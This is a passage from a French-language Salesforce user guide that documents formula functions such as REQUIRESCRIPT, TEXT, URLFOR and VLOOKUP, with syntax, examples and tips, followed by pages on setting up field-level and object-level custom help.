"[0-9]{3}-[0-9]{2}-[0-9]{4}") ) )

Conseils :

La syntaxe de l'expression rgulire est base sur Java Platform SE 6 syntax.

Cependant, les caractres barre oblique inverse (\) doivent tre doubls (\\) car la
barre oblique inverse est un caractre d'chappement dans Salesforce.com.
Le moteur d'expression rgulire Salesforce.com recherche une chane complte par
opposition la recherche au sein d'une chane. Par exemple, si vous recherchez le
nom Marc Benioff, utilisez l'expression rgulire .*Marc Benioff.* pour trouver
une correspondance dans une chane comme celle-ci :
Selon Marc Benioff, Salesforce accrot la russite des
clients.

Si vous utilisez l'expression rgulire Marc Benioff, la seule chane laquelle cette
expression rgulire corresponde est :
Marc Benioff

Les groupes et les substitutions de capture sont ignors.

Cette fonction est disponible partout o se trouvent des formules sauf dans les champs
de formule et les valeurs par dfaut.

REQUIRESCRIPT
Description :

Renvoie une balise de script avec la source de l'URL spcifie. Utilisez cette fonction
pour rfrencer l'ensemble d'outils AJAX Apexou d'autres botes outils JavaScript.

Personnaliser

Utilisation :

Guide de l'utilisateur | Oprateurs et fonctions | 522

{!REQUIRESCRIPT(url)} et remplacez url par le lien du script requis.

Pour l'ensemble d'outils AJAX :

{!requireScript("/soap/ajax/13.0/connection.js")}

Renvoie :
<script src="/soap/ajax/13.0/connection.js"></script>

Pour Dojo :
{!requireScript("/js/dojo/0.3.1/dojo.js")}

Renvoie :
<script src="/js/dojo/0.3.1/dojo.js"></script>

Exemple de bouton personnalis :

{!REQUIRESCRIPT("/soap/ajax/13.0/connection.js")} var c = new

sforce.SObject("Requte"); c.id = "{!Case.Id}"; c.Status =
"Nouveau"; result = sforce.connection.update([c]);
window.location.reload();

Cet exemple dfinit le statut d'une requte sur Nouveau lorsqu'un utilisateur clique
sur un bouton personnalis de la page de dtails de la requte. Pour paramtrer cette
option dans votre entreprise, crez un bouton de liste personnalis pour les requtes,
dot des attributs suivants :

Type d'affichage a la valeur Bouton de liste

Comportement a la valeur Excution de JavaScript
Source de contenu a la valeur Excuter la fonction OnClick JavaScript

Collez le contenu ci-dessus dans votre dfinition de bouton personnalis et ajoutez-le

la prsentation de page de vos requtes.
Conseils :

Utilisez les variables globales pour accder aux champs de fusion spciaux des
commandes s-control.
Utilisez cette fonction lorsque vous crez des boutons ou des liens personnaliss dont
le paramtre Comportement a la valeur Execute JavaScript et le paramtre
Source de contenu, OnClick JavaScript , car la balise de script doit se trouver
hors du code OnClick.
Cette fonction n'est disponible que pour les boutons et les liens personnaliss dont
le paramtre Content Source a la valeur OnClick JavaScript .
En travaillant dans Visualforce, utilisez la place INCLUDESCRIPT.

RIGHT
Description :

Renvoie le nombre dfini de caractres depuis la fin de la chane de texte.

Utilisation :

RIGHT(text, num_chars), et remplacez la valeur text par le champ ou l'expression

renvoyer et num_chars par le nombre de caractres, partir de la droite, renvoyer.

Personnaliser

Guide de l'utilisateur | Oprateurs et fonctions | 523

Exemple :

La formule TRIM(LEFT(LastName, 5))&"-"&TRIM(RIGHT(SSN__c, 4)) affiche

les cinq premiers caractres du nom du contact et les quatre derniers caractres de son
numro de scurit sociale, spars par un tiret. Cela suppose que vous disposiez d'un
champ texte personnalis des contacts, appel NSS.

Conseils :

Dans les formules, faites rfrence aux champs de numrotation automatique l'aide
de champs texte.
Si la valeur num_chars est infrieure zro, Salesforce.com la remplace par zro.

ROUND
Description :

Renvoie le nombre le plus proche de celui que vous avez spcifi, limitant le nouveau
nombre un nombre de chiffres dfini.

Utilisation :

ROUND(number, num_digits), et remplacez la valeur number par le champ ou

l'expression arrondir et num_digits par le nombre de dcimales voulu pour l'arrondi.

Exemple :

ROUND (1.5, 0) = 2
ROUND (1.2345, 0) = 1
ROUND (-1.5, 0) = -2
ROUND (225.49823, 2) = 255.50

Escompte simple
ROUND( Amount-Amount* Discount_Percent__c,2)

Utilisez cette formule pour calculer le montant de la remise d'une opportunit, arrondi
deux chiffres aprs la virgule. Cet exemple illustre le champ de formule numrique des
opportunits, qui utilise un champ de pourcentage personnalis appelPourcentage
de l'escompte.
Conseils :

Saisissez la valeur zro la place de num_digits pour arrondir un nombre l'entier

le plus proche.
Salesforce.com arrondit automatiquement les chiffre en fonction du nombre de
dcimales spcifi. Par exemple, un champ numrique personnalis, paramtr sur
deux dcimales, stocke 1,50 quand vous saisissez 1,49999.
Le nombre de dcimales affich dpend du nombre de dcimales que vous avez
slectionn, lors du paramtrage du champ dans l'assistant de champ personnalis.
La valeur num_digits reprsente le nombre de chiffres pris en compte pour l'arrondi.

RPAD
Description :

Insert des espaces vides ou des caractres que vous avez spcifis droite dune chane
de texte.

Utilisation :

RPAD(text, padded_length[, 'pad_string']) et remplacez les variables :

text est l'expression ou le champ aprs lequel vous souhaitez insrer des espaces ou

des caractres.
pad_length est le nombre total de caractres de la chane de texte qui sera renvoy.

Personnaliser

Guide de l'utilisateur | Oprateurs et fonctions | 524

pad_string reprsente le ou les caractres insrer. pad_string est facultatif.

L'espace vide constitue la valeur par dfaut.

Si la valeur dans text est plus longue que pad_string, text est tronqu hauteur
de padded_length.
Exemple :

Nom du compte : Remplissage par dfaut

RPAD( Name , 20) permet de tronquer le champ Nom aprs 20 caractres si le nom

dpasse 20 caractres ou d'insrer des espaces droite du nom existant jusqu' ce que la
longueur du nom soit de 20 caractres. Par exemple, si le nom est salesforce.com,
la valeur renvoye est salesforce.com .
Ma_Socit : Aucun changement
RPAD( 'my_company.com' , 14, 'z') renvoie ma_socit.com sans

modification car il comporte 14 caractres.

Nom du compte : Remplissage l'aide d'un caractre
RPAD( Name , 15, 'z') renvoie salesforce.comz .

Nom du compte : Troncature

LPAD(Name , 2) tronque le nom aprs le deuxime caractre. Par exemple, si le nom
est salesforce.com, la valeur renvoye est sa .

SQRT
Description :

Renvoie la racine carre positive d'un nombre donn.

Utilisation :

SQRT(number) et remplacez la valeur number par le champ ou l'expression dont vous

voulez calculer la racine carre.

Exemple :

La formule SQRT(25) renvoie la racine carre de 25, c'est--dire 5.

Amplitude
La formule SQRT(Amplitude__c) renvoie la racine carre du champ numrique
personnalis reprsentant l'amplitude d'un tremblement de terre.

Conseils :

Le calcul de la racine carre d'un nombre ngatif gnre une erreur sur la page de
dtails.
Pour viter les erreurs de division par zro, ajoutez une fonction IF du type : IF(
Amplitude__c >= 0, SQRT( Amplitude__c ), null).

SUBSTITUTE
Description :

Substitue un nouveau texte un ancien dans une chane de texte.

Utilisation :

SUBSTITUTE(text, old_text, new_text) et remplacez text par le champ ou

la valeur dans lesquels vous souhaitez remplacer des valeurs, old_text par le texte
remplacer et new_text par le texte qui doit se substituer old_text.

Personnaliser

Exemple :

Guide de l'utilisateur | Oprateurs et fonctions | 525

La formule SUBSTITUTE(Name, "Bon de rduction", "Remise") renvoie le

nom d'une opportunit qui contient l'expression Bon de rduction et remplace Bon
de rduction par Remise .
La formule SUBSTITUTE(Email, LEFT(Email, FIND("@", Email)), "www.")
recherche l'emplacement du signe @ dans l'adresse e-mail d'un utilisateur pour dterminer
la longueur de texte remplacer par www. , afin d'en dduire l'adresse de son site
Web.

Conseils :

Chaque terme plac entre guillemets respecte la casse.

Si la variable old_text apparat plusieurs fois, chaque occurrence est remplace par
la valeur new_text fournie, mme si cela doit gnrer des doublons.

TEXT
Description :

Convertit en texte un champ pourcentage, nombre, date, date/heure ou devise lorsque

des formules sont utilises. Convertit aussi en texte les valeurs de listes de slection dans
les rgles de validation, les champs de formule et les mises jour de champ.

Utilisation :

TEXT(value) et remplacez la valeur value par le champ ou l'expression convertir

au format texte. Dans cette fonction, vitez d'utiliser des caractres spciaux ct du
signe dcimal (point) ou du signe moins (tiret).
Exemple :

Chiffre d'affaires prvu au format texte

La formule TEXT(ExpectedRevenue) renvoie le montant du chiffre d'affaires prvu
d'une opportunit au format texte, sans le symbole de la devise. Par exemple, si la valeur
Chiffre d'affaires prvu d'une campagne est de 200 000 $, ce format de formule
affiche 200 000 .
ID d'actif
La formule SerialNumber &"-"& TEXT(Quantity) renvoie le numro d'ID de
l'actif, compos d'un numro de srie, d'un tiret et de la quantit. Le champ Numro
de srie est dj au format texte, mais le champ Quantit est un nombre qui exige
d'tre prcd par la fonction TEXT.
Utiliser des valeurs de liste de slection dans les quations mathmatiques
VALUE(LEFT(TEXT(Quantity), 5)) * Unit

Cette formule multiplie les cinq premiers chiffres de la liste de slection Quantity par
le champ numrique Unit.
Comparer deux listes de slection
IF(TEXT(bug_status) = TEXT(case_status), Correspond, Ne
correspond pas)

Cette formule compare les valeurs de la liste de slection bug_status celles de la

liste de slection case_status.
Afficher les valeurs de liste de slection des enregistrements parents
TEXT(Account.Industry)

Personnaliser

Guide de l'utilisateur | Oprateurs et fonctions | 526

Ce champ de formule des opportunits affiche le secteur d'activit du compte associ.

Concatner des valeurs de liste de slection
TEXT(Account.Industry) & " - " & TEXT(Account.SubIndustry__c)

Ce champ de formule des opportunits affiche les secteurs d'activit principal et

secondaire du compte associ.
Exemples de rgle de validation :

Bloquer l'enregistrement d'une opportunit clture

CONTAINS(TEXT(Status), "Close") renvoie TRUE (vrai) si la liste de slection
Status contient la valeur Close , par exemple Close Gagne ou Close Perdue

. Cette formule de rgle de validation empche les utilisateurs d'enregistrer les

modifications d'une opportunit clture.
Utiliser des fonctions numriques dans des valeurs de listes de slection numriques
VALUE(LEFT(TEXT(Quantity), 5)) * Unit > 10000 multiplie les cinq premiers
chiffres de la liste de slection Quantity par le champ numrique Unit, puis renvoie

TRUE (vrai) si le rsultat est suprieur 10 000.

Comparer directement deux listes de slection
TEXT(bug_status) = TEXT(case_status) compare les valeurs de la liste de

slection bug_status celles de la liste de slection case_status, puis renvoie TRUE (vrai)
si elles sont identiques.
Conseils :

Le texte renvoy n'est pas format par une devise, des symboles de pourcentage ni
des virgules.
Les valeurs ne sont pas sensibles aux paramtres rgionaux. Par exemple, la valeur
24,42 EUR est remplace par le nombre 24,42.
Les pourcentages sont renvoys sous la forme d'un nombre dcimal.
Les dates sont renvoyes sous la forme AAAA-MM-JJ, c'est--dire l'anne code
sur quatre chiffres, le mois et le jour sur deux chiffres.
Les valeurs date/heure sont renvoyes sous la forme AAAA-MM-JJ HH:MM:SSZ :
AAAA reprsente l'anne code sur quatre chiffres, MM le mois sur deux chiffres,
JJ le jour sur deux chiffres, HH l'heure sur deux chiffres, MM les minutes, SS les
secondes et Z, le mridien zro, qui indique que l'heure est fournie en fonction du
temps universel coordonn (UTC).
Les champs de liste de slection sont pris en charge uniquement dans les fonctions
TEXT utilises dans les formules de rgles de validation, les champs de formule et
les mises jour de champs. Dans les autres formules, utilisez ISPICKVAL ou CASE
en rfrenant un champ de liste de slection.
La fonction TEXT renvoie toujours des valeurs de listes de slection dans la langue
principale de votre entreprise, pas dans la langue de l'utilisateur actuel.

AUJOURD'HUI
Description :

Renvoie la date actuelle au type de donnes date.

Utilisation :

TODAY()

Personnaliser

Exemple :

Guide de l'utilisateur | Oprateurs et fonctions | 527

La formule TODAY()-Date_in_approval__c calcule le nombre de jours pendant

lequel un contrat est en cours d'approbation. Cet exemple illustre le champ de formule
numrique des contrats, qui utilise un champ de date personnalis appel Date en
cours d'approbation.

Exemple de rgle de validation :

CloseDate < TODAY()

Cet exemple garantit que les utilisateurs ne peuvent pas changer le paramtre Close
Date d'une opportunit avec une date passe.
Conseils :

Ne supprimez pas les parenthses.

Gardez les parenthses vides. Elles ne contiennent pas ncessairement de valeur.
Dans une fonction TODAY, utilisez un champ de date plutt qu'un champ
date/heure. Le champ Date de la dernire activit est un champ de date,
alors que les champs Date de cration et Date de la dernire
modification sont des champs date/heure.
Si vous prfrez utiliser un champ date/heure, reportez-vous NOW.
Le calcul des dates et heures requiert toujours le fuseau horaire de l'utilisateur.
Utilisez les oprateurs d'addition et de soustraction combins avec la
fonction TODAY, et d'autres champs de date pour renvoyer un nombre reprsentant
le nombre de jours. Par exemple, la formule TODAY()-LastActivityDate calcule
le nombre de jours couls depuis la dernire date d'activit. Dans cet exemple, le
type de donnes du champ de formule est un nombre.
Utilisez les oprateurs d'addition et de soustraction combins avec la
fonction TODAY, et des nombres pour renvoyer la date. Par exemple, la formule
TODAY() +5 calcule la date 5 jours compter du jour J. Dans cet exemple, les
donnes du champ de formule sont de type date.

TRIM
Description :

Supprime les espaces et les tabulations au dbut et la fin de la chane de texte.

Utilisation :

TRIM(text) et remplacez la valeur text par le champ ou l'expression rduire.

Exemple :

La formule TRIM(LEFT(LastName,5))& "-" & RIGHT(FirstName, 1) renvoie

un ID rseau pour les utilisateurs, qui contient les cinq premiers caractres de leur nom
et le premier caractre de leur prnom spars par un tiret.

UPPER
Description :

Convertit toutes les lettres de la chane de texte spcifi en majuscules. Tous les caractres
qui ne sont pas des lettres ne sont pas affects par cette fonction. Si les paramtres
rgionaux sont fournis, leurs rgles s'appliquent.

Utilisation :

UPPER(text, locale) et remplacez text par le champ ou l'expression que vous

souhaitez convertir en majuscules, et locale par le code facultatif de langue ISO deux

caractres ou des paramtres rgionaux cinq caractres, s'il est disponible. Pour plus
d'informations sur les langues prises en charge, reportez-vous Quelles sont les langues
prises en charge par Salesforce.com ?

Personnaliser

Exemple :

Guide de l'utilisateur | Oprateurs et fonctions | 528

SALESFORCE.COM
UPPER("salesforce.com") renvoie SALESFORCE.COM .

SALESFORCE.COM 123
UPPER("Salesforce.com 123") renvoie SALESFORCE.COM 123 .

Application des rgles des paramtres rgionaux de la langue Turc

La langue Turc comprend deux version de la lettre i : avec et sans point. Les rgles des
paramtres rgionaux du Turc ncessitent la possibilit de capitaliser le i avec un point
et autorisent le I sans point en minuscules. Pour utiliser correctement la fonction
UPPER() avec les paramtres rgionaux de la langue Turc, utilisez le code des paramtres
rgionaux Turc tr dans la fonction UPPER(), comme suit :
UPPER(text, "tr")

Ce code garantit que Salesforce.com ne transforme aucun i point dans text en I sans
point.

URLENCODE
Description :

Code le texte et les valeurs de champ de fusion utiliser dans

des URL en remplaant les caractres illgaux dans les URL,
comme les espaces blancs, avec le code qui reprsente ces
caractres tel que dfini dans RFC 3986, Uniform Resource
Identifier (URI) : Syntaxe gnrique.. Par exemple, les espaces
blancs sont remplacs par %20 et les points d'exclamation sont
remplacs par %21.

Utilisation :

{!URLENCODE(text)} et remplacez text par le champ de

fusion ou la chane de texte que vous souhaitez coder.

Exemple :

Si le champ de fusion foo__c contient <B>Mark's

page<b>, {!URLENCODE(foo__c)} donne :
%3CB%3EMark%27s%20page%3C%2Fb%3E

Conseils :

Les boutons et liens personnaliss dont la source du

contenu est une URL possdent des paramtres de codage
distincts. Si vous utilisez la fonction URLENCODE pour
coder un bouton ou un lien personnalis dont le paramtre
de codage est spcifi, Salesforce.com code d'abord l'URL
en fonction des paramtres du bouton ou du lien
personnalis, puis il code le rsultat. Par exemple, si l'URL
d'un lien personnalis contient un espace et que son
paramtre de codage est UTF8, Salesforce.com code
l'espace en signe plus (+), puis la fonction URLENCODE
convertit le signe plus dans le code de son caractre, %2B.
Lorsque vous insrez le champ Account dans des
opportunits (Opportunity.Account), dans la fonction
URLENCODE, la valeur du champ correspond l'ID de
compte, pas au nom de compte. Pour coder le nom de
compte, crez un champ de formule d'objet crois
personnalis dans les opportunits qui comprend le nom
de compte, puis utilisez ce champ dans la fonction

Personnaliser

Guide de l'utilisateur | Oprateurs et fonctions | 529

URLENCODE la place de Opportunity.Account.

Par exemple, si la formule d'objet crois est
AccountNameFormula__c, utilisez :
http://www.google.com/search?q={!URLENCODE(Opportunity.AccountNameFormula__c)}

URLFOR
Description :

Renvoie l'URL relative une action, une commande s-control ou un fichier contenu
dans une archive de ressources statiques sur une page Visualforce

Utilisation :

{!URLFOR(target, id, [inputs], [no override])} et remplacez target

par l'URL, l'action, la commande s-control ou la variable de fusion de ressource statique,

id par une rfrence l'enregistrement et inputs par des paramtres facultatifs.
L'argument no override est galement facultatif La valeur par dfaut est false (faux).
Il s'applique aux cibles des pages Salesforce.com standard telles que
$Action.Account.New. Remplacez no override par true lorsque vous souhaitez
afficher une page Salesforce.com standard mme si vous avez dj dfini une valeur de
remplacement ailleurs.

Personnaliser

Guide de l'utilisateur | Oprateurs et fonctions | 530

Exemple de commande S-Control :

<html> <head> <script src="/soap/ajax/13.0/connection.js">

</script> <script> function init() { var queryResult =
sforce.connection.query("Select count() from CaseSolution Where
CaseId = '{!Case.Id}'"); var size = queryResult.size; if (size
> 0) { //accder la page de clture de requte standard sans
appeler la page de remplacement window.parent.location.href =
"{!URLFOR($Action.Case.CloseCase, Case.Id,
[retURL=URLFOR($Action.Case.View, Case.Id)], true)}" } else {
alert("La requte doit contenir au moins une solution pour
pouvoir tre clture."); //accder la page standard de
dtails de la requte this.parent.location.href =
"{!URLFOR($Action.Case.View, Case.Id)}"; } } </script> </head>
<body onload="init()"> <p>&nbsp;</p> </body> </html>

Dans cet exemple, la commande s-control affiche un message lorsque les utilisateurs
cliquent sur l'option de clture de requte en prsence d'une requte sans solution. Si
la requte est associe au moins une solution, la page de clture de la requte s'affiche
comme d'habitude. Pour raliser cet exemple, crez une commande s-control prsentant
le contenu ci-dessus. Ensuite, crasez l'option de clture de la requte l'aide de la
commande s-control.
Cet exemple vous indique comment valider les donnes par un remplacement de bouton
standard. Utilisez les rgles de validation pour valider les donnes d'un enregistrement
et d'une commande s-control identiques ceux indiqus dans cet exemple afin de valider
les donnes associes. Cet exemple ne s'applique pas aux enregistrements mis jour
l'aide de l'API.
Il utilise la fonction URLFOR pour crer des URL de Salesforce.com au lieu de les
programmer, offrant ainsi une meilleure volutivit. Cette fonction permet galement
de dfinir l'argument no override sur true . Salesforce.com peut ainsi ignorer le
remplacement et appeler une action de requte de clture standard lors d'un
remplacement.
Exemple Visualforce :

<apex:image url="{!URLFOR($Resource.TestZip,
'images/Bluehills.jpg')}" width="50" height="50" />

Dans cet exemple, le <apex:image> composant indique un fichier .jpg contenu dans
un fichier .zip tlcharg comme ressource statique. Une fois tlcharg, le nom de la
ressource statique a t dfinie comme TestZip, et le chemin pour trouver l'image dans
la ressource est images/Bluehills.jpg.
Conseils :

Utilisez les variables globales pour accder aux champs de fusion spciaux pour les
actions, aux commandes s-control et aux ressources statiques.
Si le nom d'un paramtre d'entre commence par un caractre autre qu'une lettre ou
le signe dollar ($), placez-le entre guillemets.
Placez plusieurs entres entre crochets pour les regrouper :
{!URLFOR($Action.Case.View, Case.Id, [parm1="A", parm2="B"])}

Saisissez la valeur null pour les entres si aucune ne doit tre transfre, mais que
vous souhaitez dfinir l'argument no override :
{!URLFOR($Action.Case.View,

Case.Id, null, true)}

Personnaliser

Guide de l'utilisateur | Oprateurs et fonctions | 531

Lorsque vous remplacez une action standard, elle n'est plus disponible dans
Salesforce.com. Par exemple, si vous crasez l'action de nouveau compte, cela affecte
le bouton Crer sur toutes les pages, comme la page de dtails du compte, les listes
associes au compte sur les autres pages de dtails et la liste droulante Crer du
menu latral. Pour craser une action standard tout en continuant y avoir accs,
utilisez l'argument no override dans votre commande s-control pour faire rfrence
cette action.
Lorsque vous crasez la page d'accueil d'un onglet standard ou personnalis, dfinissez
target sur la variable globale $Action correspondante et id, sur le type d'objet.
Par exemple, URLFOR($Action.Account.Tab, $ObjectType.Account)
Cette fonction n'est disponible que pour les boutons personnaliss, les liens, les
commandes s-control et les pages Visualforce.

VALUE
Description :

Convertit une chane de texte en nombre.

Utilisation :

VALUE(text) et remplacez la valeur text par le champ ou l'expression convertir en

nombre.
Exemple :

Numro de piste
La formule VALUE( Lead_Number__c ) renvoie un nombre pour la valeur de texte
du champ de numrotation automatique Numro de piste. Ceci peut tre pratique
si vous voulez utiliser le champ Numro de piste dans le calcul. Les champs de
numrotation automatique sont en ralit des champs texte qui doivent tre convertis
en nombres pour les calculs numriques.
Attribution automatique ( la ronde) de pistes
MOD(VALUE(Lead_Number__c), 3)

Formule d'un champ de formule personnalis, appel Round_Robin_ID, qui attribue

chaque piste la valeur 0, 1 ou 2. Cette formule utilise un champ de numrotation
automatique, appel Numro de piste, qui attribue chaque piste un numro
squentiel partir de 1. La fonction MOD divise le nombre de pistes par le nombre de
files d'attente de pistes disponibles (3 dans cet exemple) et renvoie un solde de 0, 1 ou 2.
Utilisez la valeur de ce champ de formule dans les rgles d'attribution de pistes pour
attribuer des enregistrements de piste diffrentes files d'attente. Par exemple :

Conseils :

La valeur Round_Robin_ID = 0 est attribue la file d'attente A

La valeur Round_Robin_ID = 1 est attribue la file d'attente B
La valeur Round_Robin_ID = 2 est attribue la file d'attente C

Vrifiez que le texte de la fonction VALUE ne contient pas de caractres spciaux autres
que le signe dcimal (point) ou le signe moins (tiret). Par exemple, la formule
VALUE(Text_field__c) donne les rsultats suivants :

Si la valeur du champ Texte est 123, le rsultat est 123

Si le champ Texte est vide, le rsultat est #Error!
Si la valeur du champ Texte est $123, le rsultat est #Error!
Si la valeur du champ Texte est EUR123, le rsultat est #Error!

Personnaliser

Guide de l'utilisateur | Oprateurs et fonctions | 532

VLOOKUP
Description :

Renvoie une valeur en consultant une valeur associe sur un objet personnalis similaire
la fonction Excel VLOOKUP().

Utilisez :

VLOOKUP(field_to_return, field_on_lookup_object, lookup_value) et

remplacez field_to_return par le champ qui contient la valeur que vous souhaitez
voir retourne, field_on_lookup_object par le champ de l'objet en rapport qui
contient la valeur que vous souhaitez rechercher, et lookup_value par la valeur que

vous souhaitez rechercher.

Exemple de rgle de validation :

Cet exemple vrifie qu'un code postal de facturation est valide en recherchant les cinq
premiers caractres de la valeur d'un objet personnalis appel Zip_Code__c et qui
contient un enregistrement pour chaque code postal valide aux tats-Unis. Si le code
postal n'est pas trouv dans l'objet Zip_Code__c ou que le dpartement de facturation
ne correspond pas au State_Code__c de l'objet Zip_Code__c, une erreur s'affiche.
Remarque:

Utilisez cet exemple lorsque le pays de facturation est US ou USA.

Vous pouvez tlcharger les codes postaux des tats-Unis dans un fichier
au format CSV sur le sitehttp://zips.sourceforge.net.
AND( LEN(BillingPostalCode) > 0, OR(BillingCountry =
"tats-Unis", BillingCountry = "US"), VLOOKUP(
$ObjectType.Zip_Code__c.Fields.State_Code__c,
$ObjectType.Zip_Code__c.Fields.Name,
LEFT(BillingPostalCode,5))
<> BillingState )

Conseils :

La variable field_to_return doit tre un champ de type numrotation

automatique, rcapitulatif de cumul, relation de recherche, relation principal-dtails,
case, date, date/heure, e-mail, nombre, pourcentage, tlphone, liste de slection,
texte, zone de texte ou URL.
La variable field_on_lookup_object doit tre le champ Nom de
l'enregistrement pour un objet personnalis.
Les champs field_on_lookup_object et lookup_value doivent comporter le
mme type de donnes.
Si plus d'un enregistrement correspond, la valeur du premier enregistrement est
renvoye.
La valeur renvoye doit se trouver dans un objet personnalis.
Vous ne pouvez pas supprimer le champ personnalis ou l'objet personnalis rfrenc
dans cette fonction.
Cette fonction n'est disponible que dans les rgles de validation.

YEAR
Description :

Renvoie l'anne correspondant une date donne, sous la forme d'un nombre quatre
chiffres.

Personnaliser

Guide de l'utilisateur | Prsentation de l'aide personnalise | 533

Utilisation :

YEAR(date) et remplacez la valeur date par le champ ou l'expression qui contient

l'anne renvoyer.
Exemple :

La formule YEAR(TODAY() )- YEAR(Initial_Meeting__c ) renvoie le nombre

d'annes depuis votre premire rencontre avec un client. Cet exemple utilise un champ
de date personnalis appel Premire runion.

Voir aussi :
propos des formules
laboration de formules

Prsentation de l'aide personnalise

Disponible avec : Toutes les ditions

Le lien Aide et formation situ en haut de chaque page ouvre la fentre d'aide et de formation Salesforce.com qui comprend
les rubriques d'aide en ligne, les solutions et les sessions de formation recommandes. De plus, le lien Aide relative cette
page disponible sur toutes les pages permet d'accder la rubrique d'aide en ligne contextuelle correspondante.
La fonction d'aide personnalise de Salesforce.com vous permet d'enrichir les fonctions d'aide standard avec des informations
sur l'utilisation des champs et des fonctions propres votre entreprise ou la sous-application Force.com AppExchange que
vous dveloppez.
L'aide personnalise vous permet de :

Remplacer les rubriques standard d'aide en ligne contextuelle Salesforce.com par vos objets personnaliss grce l'aide de
niveau objet
Ajouter l'aide de niveau champ qui apparat lorsque les utilisateurs font glisser leur souris sur un champ personnalis

Voir aussi :
Dfinition de l'aide au niveau des champs
Ajout de champs et de relations
Mise en route de l'aide au niveau des champs
Mise en route de l'aide de niveau objet

Mise en route de l'aide au niveau des champs

L'aide au niveau des champs vous permet de fournir un texte d'aide dcrivant en dtail l'objectif et la fonction d'un champ
standard ou personnalis. Vous pouvez dfinir un texte d'aide personnalis pour les champs de votre organisation. Le but est
de donner aux utilisateurs une description utile des champs sur toutes les pages de dtails et de modification o ils s'affichent.
Les utilisateurs peuvent consulter le texte d'aide au niveau du champ en survolant l'icne Infos en regard du champ.
Avant de dfinir l'aide au niveau des champs, consultez les meilleures pratiques et les conseils de mise en uvre suivants.

Personnaliser

Guide de l'utilisateur | Dfinition de l'aide au niveau des champs | 534

Conseils en matire de mise en uvre

L'aide au niveau des champs est active par dfaut pour toutes les ditions.
L'aide au niveau du champ n'est pas disponible pour certains champs, notamment les champs de l'objet Utilisateur, les
champs en lecture seule du systme, les champs numrotation automatique, les champs devise multiple, les champs
Salesforce CRM Ideas et les champs Community.
Le texte d'aide d'un champ personnalis est automatiquement ajout un package lorsque vous ajoutez le champ personnalis
associ un package Force.com AppExchange.
Dans un package gr, le dveloppeur n'a pas accs au texte d'aide. Les installateurs ont ainsi toute libert pour le modifier.

Les meilleures pratiques

tant donn que votre texte d'aide personnalis apparat dans les pages de modification et de dtails, les instructions
concernant la saisie de donnes ne sont pas utiles. En revanche, vous devez crer du texte d'aide dfinissant l'objet du
champ, tel que :
Remise maximale autorise pour ce compte.

Vous devez fournir, dans votre texte d'aide, des informations relatives aux attributs du champ, notamment :
Une description dtaille de l'objectif du rapport sur les dpenses. Le volume maximal
de donnes autoris est de 32 Ko. Seuls les 255 premiers caractres s'affichent dans
les rapports.

Vous devez fournir, dans votre texte d'aide, des exemples permettant aux utilisateurs de comprendre clairement le sens des
champs, tels que :
Le code promotionnel quatre chiffres utilis pour dterminer la somme facture au
client, par exemple, 4PLT (pour la tarification Platinum niveau quatre).

Si plusieurs langues sont parles dans votre entreprise, vous devez fournir les traductions de votre texte d'aide l'aide
du systme prvu cet effet.

Voir aussi :
Prsentation de l'aide personnalise
Dfinition de l'aide au niveau des champs

Dfinition de l'aide au niveau des champs

Disponible avec : Toutes les ditions

Autorisations utilisateur requises

Pour dfinir ou modifier l'aide au niveau des champs :

Personnaliser l'application

L'aide au niveau des champs vous permet de fournir un texte d'aide dcrivant en dtail l'objectif et la fonction d'un champ
standard ou personnalis. Vous pouvez dfinir un texte d'aide personnalis pour les champs de votre organisation. Le but est
de donner aux utilisateurs une description utile des champs sur toutes les pages de dtails et de modification o ils s'affichent.
Les utilisateurs peuvent consulter le texte d'aide au niveau du champ en survolant l'icne Infos en regard du champ.

Personnaliser

Guide de l'utilisateur | Mise en route de l'aide de niveau objet | 535

Pour dfinir l'aide au niveau du champ :

1. Slectionnez le champ pour lequel vous souhaitez dfinir un texte d'aide personnalis :

Pour les objets standard, cliquez sur Configuration Personnalisation, slectionnez l'objet appropri dans le menu
Personnalisation, puis cliquez sur Champs.
Pour les objets personnaliss, cliquez sur Configuration Crer Objets et slectionnez l'un des objets personnaliss
de la liste.

2. Cliquez sur Modifier en regard du champ.

3. Dans le champ Texte d'aide, entrez le texte afficher lorsqu'un utilisateur survole l'icne Infos en regard du champ
d'une page de dtails ou de modification. Vous pouvez saisir jusqu' 255 caractres.
4. Cliquez sur Enregistrer.

Voir aussi :
Prsentation de l'aide personnalise
Ajout de champs et de relations
Mise en route de l'aide au niveau des champs

Mise en route de l'aide de niveau objet

L'aide de niveau objet vous permet de remplacer les liens Salesforce.com Aide relative cette page pour n'importe quel objet
personnalis par votre aide personnalise contenue dans une page Visualforce ou une commande s-control. Le lien Aide et
formation en haut de toutes les pages ouvre toujours la fentre Salesforce.com Aide et formation. Nanmoins, en ce qui
concerne les pages de vos objets personnaliss, chaque lien Aide relative cette page ouvre le contenu de la commande s-control
slectionne. Vos utilisateurs peuvent accder ce contenu partir des pages d'accueil (aperu), de dtails et de modification
de l'objet personnalis, ainsi qu' partir des vues de liste et des listes associes.
Avant de dfinir le texte de l'aide de niveau objet pour vos objets personnaliss, consultez les meilleures pratiques et conseils
suivants concernant la mise en uvre.
Conseils de mise en uvre

L'aide au niveau du champ est disponible pour tous les objets personnaliss dans les ditions Salesforce.com qui prennent
en charge les objets personnaliss.
Pour optimiser les fonctionnalits et faciliter le dveloppement, utilisez des pages Visualforce plutt que des commandes
s-controls.
Avertissement: Les commandes S-control ont t remplaces par les pages Visualforce. Aprs janvier 2010,
salesforce.com supprimera la possibilit de crer et de distribuer de nouvelles commandes S-control. Les commandes
S-control existantes ne seront pas affectes.

Lors de la cration d'une page Visualforce utiliser pour votre aide de niveau objet, crez votre page sans contrleur ou
avec un contrleur personnalis. Vous ne pouvez pas utiliser un contrleur standard ou un contrleur de liste standard.
Lors de la cration d'une commande s-control pour votre aide de niveau objet, slectionnez HTML ou URL :
-

Avec une commande s-control HTML, crivez votre contenu d'aide directement dans le corps de la commande s-control
l'aide du balisage HTML.

Personnaliser

Guide de l'utilisateur | Dfinition de l'aide au niveau des objets | 536

Avec une commande s-control URL, entrez l'URL de votre contenu d'aide. L'URL peut tre un site Web externe qui
hberge votre contenu d'aide ou un chemin relatif vers une ressource statique qui contient votre contenu d'aide.

.
Si vous avez dfini une aide de niveau objet pour un objet personnalis ajout un package Force.com AppExchange,
Salesforce.com ajoute automatiquement la page Visualforce, la ressource statique ou commande s-control rfrence dans
les Paramtres d'aide contextuelle de cet objet.
Dans les packages grs, le dveloppeur n'a pas accs l'aide de niveau objet, ce qui permet aux installateurs de la modifier
si ncessaire.

Les meilleures pratiques

La fentre affichant votre aide de niveau objet a une hauteur et une largeur identiques celles de la fentre Salesforce.com
